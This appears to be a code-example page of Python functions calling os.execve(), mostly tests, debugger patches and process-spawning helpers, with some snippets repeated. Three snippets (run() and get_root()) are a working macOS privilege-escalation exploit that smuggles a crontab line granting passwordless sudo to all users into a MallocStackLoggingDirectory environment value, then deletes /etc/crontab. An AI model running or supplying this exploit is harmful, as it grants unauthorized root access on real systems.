Python os.execve() Examples

def test_execve_invalid_env(self):
        args = [sys.executable, '-c', 'pass']

        # null character in the enviroment variable name
        newenv = os.environ.copy()
        newenv["FRUIT\0VEGETABLE"] = "cabbage"
        with self.assertRaises(TypeError):
            os.execve(args[0], args, newenv)

        # null character in the enviroment variable value
        newenv = os.environ.copy()
        newenv["FRUIT"] = "orange\0VEGETABLE=cabbage"
        with self.assertRaises(TypeError):
            os.execve(args[0], args, newenv)

        # equal character in the enviroment variable name
        newenv = os.environ.copy()
        newenv["FRUIT=ORANGE"] = "lemon"
        with self.assertRaises(ValueError):
            os.execve(args[0], args, newenv) 

def testTagHandlerDoesNotExist(self):
        myRecipe = recipes.multiTagRecipe0
        myRecipe += '        r.ComponentSpec(":tag", "%(taghandlerdir)s/")\n'
        multitag = self.build(myRecipe, "MultiTag", returnTrove='multitag')
        self.updatePkg('multitag:runtime')
        fooFile = rephelp.RegularFile(
                                contents = 'foo\n',
                                perms = 0644, tags = [ 'foo' ] )
        self.addComponent('foo:runtime', [('/bam', fooFile)])
        oldFuncs = (os.getuid, os.lchown, os.chroot)

        self.mock(os, "getuid", lambda : 0)
        self.mock(os, "lchown", lambda x, y, z : None)
        self.mock(os, "chroot", lambda x :None)
        # this fixes a race between new tag handler process exiting and
        # writing files into the pipe for that tag handler; we let the
        # write finish before the handler process terminates
        origExec = os.execve
        self.mock(os, "execve", lambda *args : (time.sleep(0.1),
                                                origExec(*args)))

        rc, txt = self.captureOutput(self.updatePkg, 'foo:runtime',
                                     _removeBokenPipeErrors=True)

        self.assertEquals(txt.lstrip(), '[foo] [Errno 2] No such file or directory\nerror: /usr/libexec/conary/tags/foo failed\n') 

def run(options):
    print("Creating /etc/crontab...")

    p = os.fork()
    if p == 0:
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

    time.sleep(1)

    if "NOPASSWD" not in open("/etc/crontab").read():
        print("Exploit failed.")
    else:
        print("Done, waiting for /etc/sudoers to update...")

        while os.stat("/etc/sudoers").st_size == old_size:
            time.sleep(1)

        print("Exploit completed, you can now execute commands as sudo.")
        subprocess.call("sudo rm -rf /etc/crontab", shell=True) 

def test_execve_invalid_env(self):
        args = [sys.executable, '-c', 'pass']

        # null character in the enviroment variable name
        newenv = os.environ.copy()
        newenv["FRUIT\0VEGETABLE"] = "cabbage"
        with self.assertRaises(ValueError):
            os.execve(args[0], args, newenv)

        # null character in the enviroment variable value
        newenv = os.environ.copy()
        newenv["FRUIT"] = "orange\0VEGETABLE=cabbage"
        with self.assertRaises(ValueError):
            os.execve(args[0], args, newenv)

        # equal character in the enviroment variable name
        newenv = os.environ.copy()
        newenv["FRUIT=ORANGE"] = "lemon"
        with self.assertRaises(ValueError):
            os.execve(args[0], args, newenv) 

def mark(self):
        marks = []
        for (_ignore_process, protocol) in self.dtraces.itervalues():
            marks.append(protocol.mark())
        d = gatherResults(marks)
        d.addCallback(lambda ign: self.stats())
        try:
            os.execve(
                "CalendarServer dtrace benchmarking signal", [], {})
        except OSError:
            pass
        return d 

def patch_new_process_functions_with_warning():
    monkey_patch_os('execl', create_warn_multiproc)
    monkey_patch_os('execle', create_warn_multiproc)
    monkey_patch_os('execlp', create_warn_multiproc)
    monkey_patch_os('execlpe', create_warn_multiproc)
    monkey_patch_os('execv', create_warn_multiproc)
    monkey_patch_os('execve', create_warn_multiproc)
    monkey_patch_os('execvp', create_warn_multiproc)
    monkey_patch_os('execvpe', create_warn_multiproc)
    monkey_patch_os('spawnl', create_warn_multiproc)
    monkey_patch_os('spawnle', create_warn_multiproc)
    monkey_patch_os('spawnlp', create_warn_multiproc)
    monkey_patch_os('spawnlpe', create_warn_multiproc)
    monkey_patch_os('spawnv', create_warn_multiproc)
    monkey_patch_os('spawnve', create_warn_multiproc)
    monkey_patch_os('spawnvp', create_warn_multiproc)
    monkey_patch_os('spawnvpe', create_warn_multiproc)

    if sys.platform != 'win32':
        monkey_patch_os('fork', create_warn_multiproc)
        try:
            import _posixsubprocess
            monkey_patch_module(_posixsubprocess, 'fork_exec', create_warn_fork_exec)
        except ImportError:
            pass
    else:
        # Windows
        try:
            import _subprocess
        except ImportError:
            import _winapi as _subprocess
        monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcessWarnMultiproc) 

def create_execve(original_name):
    """
    os.execve(path, args, env)
    os.execvpe(file, args, env)
    """
    def new_execve(path, args, env):
        import os
        return getattr(os, original_name)(path, patch_args(args), env)
    return new_execve 

def set_cloexec(fd):
    """
    Set the file descriptor `fd` to automatically close on :func:`os.execve`.
    This has no effect on file descriptors inherited across :func:`os.fork`,
    they must be explicitly closed through some other means, such as
    :func:`mitogen.fork.on_fork`.
    """
    flags = fcntl.fcntl(fd, fcntl.F_GETFD)
    assert fd > 2, 'fd %r <= 2' % (fd,)
    fcntl.fcntl(fd, fcntl.F_SETFD, flags | fcntl.FD_CLOEXEC) 

def piploc():
    pip_args = sys.argv[1:]
    install_args = _get_pip_install_args(pip_args)
    args = [sys.executable] + ["-m", "pip"] + pip_args + install_args
    os.execve(sys.executable, args, _get_env()) 

def pythonloc():
    args = [sys.executable] + sys.argv[1:]
    script_path = _get_script_path()
    os.execve(sys.executable, args, _get_env(script_path)) 

def __init__(self, cwd=None, env=None):
        BaseProxy.__init__(self, set())
        if env is None:
            env = os.environ.copy()
        self._servers = [ None ] * 5
        p0, p1 = os.pipe(), os.pipe()

        self._pid = os.fork()
        if self._pid == 0:
            os.close(p1[1])
            os.close(p0[0])
            if not cwd:
                if 'conary_test.serverCacheProxy' in sys.modules:
                    fpath = sys.modules['conary_test.serverCacheProxy'].__file__
                else:
                    fpath = sys.argv[0]
                cwd = os.path.dirname(fpath)
            cmd = ["/usr/bin/python", "-c",
                "from conary_test import serverCacheProxy; "
                "serverCacheProxy.Child(%d, %d)" %
                    (p1[0], p0[1])]
            os.chdir(cwd)
            os.execve(cmd[0], cmd, env)
            os._exit(0)

        try:
            os.close(p0[1])
            os.close(p1[0])
            self._pipe = Pipe(p0[0], p1[1])
            sdict = loadData(self._pipe)
            self._methods = sdict['methods']
            #print "Child started", methodname, params
        except:
            os.waitpid(self._pid, 0)
            raise 

def reexec_without_site_packages_if_needed():
    # Attempt to isolate the Python environment as much as possible:
    # -S: Disable site module: disables .pth files that could be customized
    # -s: Don't use user site directory to sys.path
    # can't add -ESs to #! for zips: virtualenv doesn't have runpy, required to run .zip
    # TODO: Copy pex's "site cleaning" code to avoid re-executing?
    if 'site' in sys.modules:
        # re-exec without any PYTHON environment variables and without site packages
        clean_env = {k: v for k, v in os.environ.items() if k not in _STRIP_ENVVARS}
        # ensure runpy is available: virtualenv python -S does not have it
        import runpy
        clean_env['PYTHONPATH'] = os.path.dirname(runpy.__file__)

        command_line = [sys.executable, '-Ss'] + sys.argv
        os.execve(command_line[0], command_line, clean_env) 

def with_path_overlay(target, params):
    """
    Overlay Python with target on the path and params
    """
    cmd = [sys.executable] + params
    os.execve(sys.executable, cmd, _setup_env(target)) 

def _execvpe_mockup(defpath=None):
    """
    Stubs out execv and execve functions when used as context manager.
    Records exec calls. The mock execv and execve functions always raise an
    exception as they would normally never return.
    """
    # A list of tuples containing (function name, first arg, args)
    # of calls to execv or execve that have been made.
    calls = []

    def mock_execv(name, *args):
        calls.append(('execv', name, args))
        raise RuntimeError("execv called")

    def mock_execve(name, *args):
        calls.append(('execve', name, args))
        raise OSError(errno.ENOTDIR, "execve called")

    try:
        orig_execv = os.execv
        orig_execve = os.execve
        orig_defpath = os.defpath
        os.execv = mock_execv
        os.execve = mock_execve
        if defpath is not None:
            os.defpath = defpath
        yield calls
    finally:
        os.execv = orig_execv
        os.execve = orig_execve
        os.defpath = orig_defpath 

def execute(self, args):
        engine = get_engine()
        cmd = ['psql', '-d', engine.url.database] + args
        if engine.url.username:
            cmd += ['-U', engine.url.username]
        if engine.url.host:
            cmd += ['-h', engine.url.host]
        env = os.environ.copy()
        if engine.url.password:
            env['PGPASSWORD'] = engine.url.password
        os.execve('/usr/bin/psql', cmd, env) 

def fork_exec(cmd, keep_fds, env=None):

    # copy the environment variables to set in the child process
    env = {} if env is None else env
    child_env = os.environ.copy()
    child_env.update(env)

    pid = os.fork()
    if pid == 0:  # pragma: no cover
        close_fds(keep_fds)
        os.execve(sys.executable, cmd, child_env)
    else:
        return pid 

def run():
    """runs exploit"""
    size = os.stat("/etc/sudoers").st_size

    env = dict()
    env['MallocLogFile'] = '/etc/crontab'
    env['MallocStackLogging'] = 'yes'
    env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

    print("Trying /etc/crontab...")

    pid = os.fork()
    if pid == 0:
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

    time.sleep(1)

    try:
        crontab = open("/etc/crontab").read()
        if "NOPASSWD" not in crontab:
            return
    except IOError:
        return

    print("Done \nWaiting for /etc/sudoers to change (<60 seconds)...")

    while os.stat("/etc/sudoers").st_size == size:
        print(".")
        time.sleep(1)

    return True 

def get_root():
    env = {}
    old_size = os.stat("/etc/sudoers").st_size

    env['MallocLogFile'] = '/etc/crontab'
    env['MallocStackLogging'] = 'yes'
    env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

    print "Creating /etc/crontab..."

    p = os.fork()
    if p == 0:
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

    time.sleep(1)

    if "NOPASSWD" not in open("/etc/crontab").read():
        print "FAILED!"
        exit(-1)

    print "Done, waiting for /etc/sudoers to update..."

    while os.stat("/etc/sudoers").st_size == old_size:
        time.sleep(1)

    print "Exploit completed."
    os.system("sudo rm -rf /etc/crontab")
    exit() 

def rustcli() -> NoReturn:
    thisdir = pathlib.Path(__file__).parent
    os.execve(str(thisdir / 'edgedb'), sys.argv, os.environ)


# Import subcommands to register them 

def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0):
    log.info(' '.join(cmd))
    if dry_run:
        return
    exec_fn = search_path and os.execvp or os.execv
    exec_args = [cmd[0], cmd]
    if sys.platform == 'darwin':
        global _cfg_target, _cfg_target_split
        if _cfg_target is None:
            _cfg_target = sysconfig.get_config_var(
                                  'MACOSX_DEPLOYMENT_TARGET') or ''
            if _cfg_target:
                _cfg_target_split = [int(x) for x in _cfg_target.split('.')]
        if _cfg_target:
            # ensure that the deployment target of build process is not less
            # than that used when the interpreter was built. This ensures
            # extension modules are built with correct compatibility values
            cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target)
            if _cfg_target_split > [int(x) for x in cur_target.split('.')]:
                my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: '
                          'now "%s" but "%s" during configure'
                                % (cur_target, _cfg_target))
                raise DistutilsPlatformError(my_msg)
            env = dict(os.environ,
                       MACOSX_DEPLOYMENT_TARGET=cur_target)
            exec_fn = search_path and os.execvpe or os.execve
            exec_args.append(env)
    pid = os.fork()

    if pid == 0:  # in the child
        try:
            exec_fn(*exec_args)
        except OSError, e:
            sys.stderr.write("unable to execute %s: %s\n" %
                             (cmd[0], e.strerror))
            os._exit(1)

        sys.stderr.write("unable to execute %s for unknown reasons" % cmd[0])
        os._exit(1) 

def create_execve(original_name):
    """
    os.execve(path, args, env)
    os.execvpe(file, args, env)
    """

    def new_execve(path, args, env):
        if _get_apply_arg_patching():
            args = patch_args(args, is_exec=True)
            send_process_created_message()

        return getattr(os, original_name)(path, args, env)

    return new_execve 

def patch_new_process_functions_with_warning():
    monkey_patch_os('execl', create_warn_multiproc)
    monkey_patch_os('execle', create_warn_multiproc)
    monkey_patch_os('execlp', create_warn_multiproc)
    monkey_patch_os('execlpe', create_warn_multiproc)
    monkey_patch_os('execv', create_warn_multiproc)
    monkey_patch_os('execve', create_warn_multiproc)
    monkey_patch_os('execvp', create_warn_multiproc)
    monkey_patch_os('execvpe', create_warn_multiproc)
    monkey_patch_os('spawnl', create_warn_multiproc)
    monkey_patch_os('spawnle', create_warn_multiproc)
    monkey_patch_os('spawnlp', create_warn_multiproc)
    monkey_patch_os('spawnlpe', create_warn_multiproc)
    monkey_patch_os('spawnv', create_warn_multiproc)
    monkey_patch_os('spawnve', create_warn_multiproc)
    monkey_patch_os('spawnvp', create_warn_multiproc)
    monkey_patch_os('spawnvpe', create_warn_multiproc)
    monkey_patch_os('posix_spawn', create_warn_multiproc)

    if not IS_JYTHON:
        if not IS_WINDOWS:
            monkey_patch_os('fork', create_warn_multiproc)
            try:
                import _posixsubprocess
                monkey_patch_module(_posixsubprocess, 'fork_exec', create_warn_fork_exec)
            except ImportError:
                pass
        else:
            # Windows
            try:
                import _subprocess
            except ImportError:
                import _winapi as _subprocess
            monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcessWarnMultiproc) 

def execve_from(self, conf, cmd, env):
        """ this code is commonly run in a child process // returns exit-code"""
        runs = conf.get("Service", "Type", "simple").lower()
        logg.debug("%s process for %s", runs, conf.filename())
        inp = open("/dev/zero")
        out = self.open_journal_log(conf)
        os.dup2(inp.fileno(), sys.stdin.fileno())
        os.dup2(out.fileno(), sys.stdout.fileno())
        os.dup2(out.fileno(), sys.stderr.fileno())
        runuser = self.expand_special(conf.get("Service", "User", ""), conf)
        rungroup = self.expand_special(conf.get("Service", "Group", ""), conf)
        envs = shutil_setuid(runuser, rungroup)
        badpath = self.chdir_workingdir(conf) # some dirs need setuid before
        if badpath:
            logg.error("(%s): bad workingdir: '%s'", shell_cmd(cmd), badpath)
            sys.exit(1)
        env = self.extend_exec_env(env)
        env.update(envs) # set $HOME to ~$USER
        try:
            if "spawn" in COVERAGE:
                os.spawnvpe(os.P_WAIT, cmd[0], cmd, env)
                sys.exit(0)
            else: # pragma: nocover
                os.execve(cmd[0], cmd, env)
        except Exception as e:
            logg.error("(%s): %s", shell_cmd(cmd), e)
            sys.exit(1) 

def _lint(self):
        env = os.environ.copy()
        env['PYTHONPATH'] = os.path.realpath(os.path.join(
                os.path.abspath(__file__), '../..'))
        pylint = '/usr/opt/bs-python-2.7/bin/pylint'
        if not os.path.exists(pylint):
            pylint = "pylint"
        cmd = [pylint,
                '--rcfile=%s' % os.path.realpath(
                        os.path.join(os.path.abspath(__file__), '../../pylintrc')),
                sys.argv[0]]
        if os.isatty(sys.stdout.fileno()):
            cmd.append('--output-format=colorized')
        os.execve(cmd[0], cmd, env) 

def _execvpe_mockup(defpath=None):
    """
    Stubs out execv and execve functions when used as context manager.
    Records exec calls. The mock execv and execve functions always raise an
    exception as they would normally never return.
    """
    # A list of tuples containing (function name, first arg, args)
    # of calls to execv or execve that have been made.
    calls = []

    def mock_execv(name, *args):
        calls.append(('execv', name, args))
        raise RuntimeError("execv called")

    def mock_execve(name, *args):
        calls.append(('execve', name, args))
        raise OSError(errno.ENOTDIR, "execve called")

    try:
        orig_execv = os.execv
        orig_execve = os.execve
        orig_defpath = os.defpath
        os.execv = mock_execv
        os.execve = mock_execve
        if defpath is not None:
            os.defpath = defpath
        yield calls
    finally:
        os.execv = orig_execv
        os.execve = orig_execve
        os.defpath = orig_defpath 

def reexec_if_needed(remove_vars=True):
    needs_reload, env_additions = get_reload_information()
    if needs_reload:
        new_environ = os.environ.copy()
        new_environ.update(env_additions)
        new_environ[_DID_REEXEC_VAR] = 'true'
        args = [sys.executable, [sys.executable] + sys.argv, new_environ]
        print('re-exec with libfaketime dependencies')
        os.execve(*args)

    if remove_vars:
        for key in env_additions:
            if key in os.environ:
                del os.environ[key] 

def _execvpe_mockup(defpath=None):
    """
    Stubs out execv and execve functions when used as context manager.
    Records exec calls. The mock execv and execve functions always raise an
    exception as they would normally never return.
    """
    # A list of tuples containing (function name, first arg, args)
    # of calls to execv or execve that have been made.
    calls = []

    def mock_execv(name, *args):
        calls.append(('execv', name, args))
        raise RuntimeError("execv called")

    def mock_execve(name, *args):
        calls.append(('execve', name, args))
        raise OSError(errno.ENOTDIR, "execve called")

    try:
        orig_execv = os.execv
        orig_execve = os.execve
        orig_defpath = os.defpath
        os.execv = mock_execv
        os.execve = mock_execve
        if defpath is not None:
            os.defpath = defpath
        yield calls
    finally:
        os.execv = orig_execv
        os.execve = orig_execve
        os.defpath = orig_defpath 

def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0):
    log.info(' '.join(cmd))
    if dry_run:
        return
    executable = cmd[0]
    exec_fn = search_path and os.execvp or os.execv
    env = None
    if sys.platform == 'darwin':
        global _cfg_target, _cfg_target_split
        if _cfg_target is None:
            _cfg_target = sysconfig.get_config_var(
                                  'MACOSX_DEPLOYMENT_TARGET') or ''
            if _cfg_target:
                _cfg_target_split = [int(x) for x in _cfg_target.split('.')]
        if _cfg_target:
            # ensure that the deployment target of build process is not less
            # than that used when the interpreter was built. This ensures
            # extension modules are built with correct compatibility values
            cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target)
            if _cfg_target_split > [int(x) for x in cur_target.split('.')]:
                my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: '
                          'now "%s" but "%s" during configure'
                                % (cur_target, _cfg_target))
                raise DistutilsPlatformError(my_msg)
            env = dict(os.environ,
                       MACOSX_DEPLOYMENT_TARGET=cur_target)
            exec_fn = search_path and os.execvpe or os.execve
    pid = os.fork()

    if pid == 0:  # in the child
        try:
            if env is None:
                exec_fn(executable, cmd)
            else:
                exec_fn(executable, cmd, env)
        except OSError, e:
            if not DEBUG:
                cmd = executable
            sys.stderr.write("unable to execute %r: %s\n" %
                             (cmd, e.strerror))
            os._exit(1)

        if not DEBUG:
            cmd = executable
        sys.stderr.write("unable to execute %r for unknown reasons" % cmd)
        os._exit(1) 

def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0):
    log.info(' '.join(cmd))
    if dry_run:
        return
    executable = cmd[0]
    exec_fn = search_path and os.execvp or os.execv
    env = None
    if sys.platform == 'darwin':
        global _cfg_target, _cfg_target_split
        if _cfg_target is None:
            _cfg_target = sysconfig.get_config_var(
                                  'MACOSX_DEPLOYMENT_TARGET') or ''
            if _cfg_target:
                _cfg_target_split = [int(x) for x in _cfg_target.split('.')]
        if _cfg_target:
            # ensure that the deployment target of build process is not less
            # than that used when the interpreter was built. This ensures
            # extension modules are built with correct compatibility values
            cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target)
            if _cfg_target_split > [int(x) for x in cur_target.split('.')]:
                my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: '
                          'now "%s" but "%s" during configure'
                                % (cur_target, _cfg_target))
                raise DistutilsPlatformError(my_msg)
            env = dict(os.environ,
                       MACOSX_DEPLOYMENT_TARGET=cur_target)
            exec_fn = search_path and os.execvpe or os.execve
    pid = os.fork()

    if pid == 0:  # in the child
        try:
            if env is None:
                exec_fn(executable, cmd)
            else:
                exec_fn(executable, cmd, env)
        except OSError, e:
            if not DEBUG:
                cmd = executable
            sys.stderr.write("unable to execute %r: %s\n" %
                             (cmd, e.strerror))
            os._exit(1)

        if not DEBUG:
            cmd = executable
        sys.stderr.write("unable to execute %r for unknown reasons" % cmd)
        os._exit(1) 

def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0):
    log.info(' '.join(cmd))
    if dry_run:
        return
    executable = cmd[0]
    exec_fn = search_path and os.execvp or os.execv
    env = None
    if sys.platform == 'darwin':
        global _cfg_target, _cfg_target_split
        if _cfg_target is None:
            _cfg_target = sysconfig.get_config_var(
                                  'MACOSX_DEPLOYMENT_TARGET') or ''
            if _cfg_target:
                _cfg_target_split = [int(x) for x in _cfg_target.split('.')]
        if _cfg_target:
            # ensure that the deployment target of build process is not less
            # than that used when the interpreter was built. This ensures
            # extension modules are built with correct compatibility values
            cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target)
            if _cfg_target_split > [int(x) for x in cur_target.split('.')]:
                my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: '
                          'now "%s" but "%s" during configure'
                                % (cur_target, _cfg_target))
                raise DistutilsPlatformError(my_msg)
            env = dict(os.environ,
                       MACOSX_DEPLOYMENT_TARGET=cur_target)
            exec_fn = search_path and os.execvpe or os.execve
    pid = os.fork()

    if pid == 0:  # in the child
        try:
            if env is None:
                exec_fn(executable, cmd)
            else:
                exec_fn(executable, cmd, env)
        except OSError, e:
            if not DEBUG:
                cmd = executable
            sys.stderr.write("unable to execute %r: %s\n" %
                             (cmd, e.strerror))
            os._exit(1)

        if not DEBUG:
            cmd = executable
        sys.stderr.write("unable to execute %r for unknown reasons" % cmd)
        os._exit(1)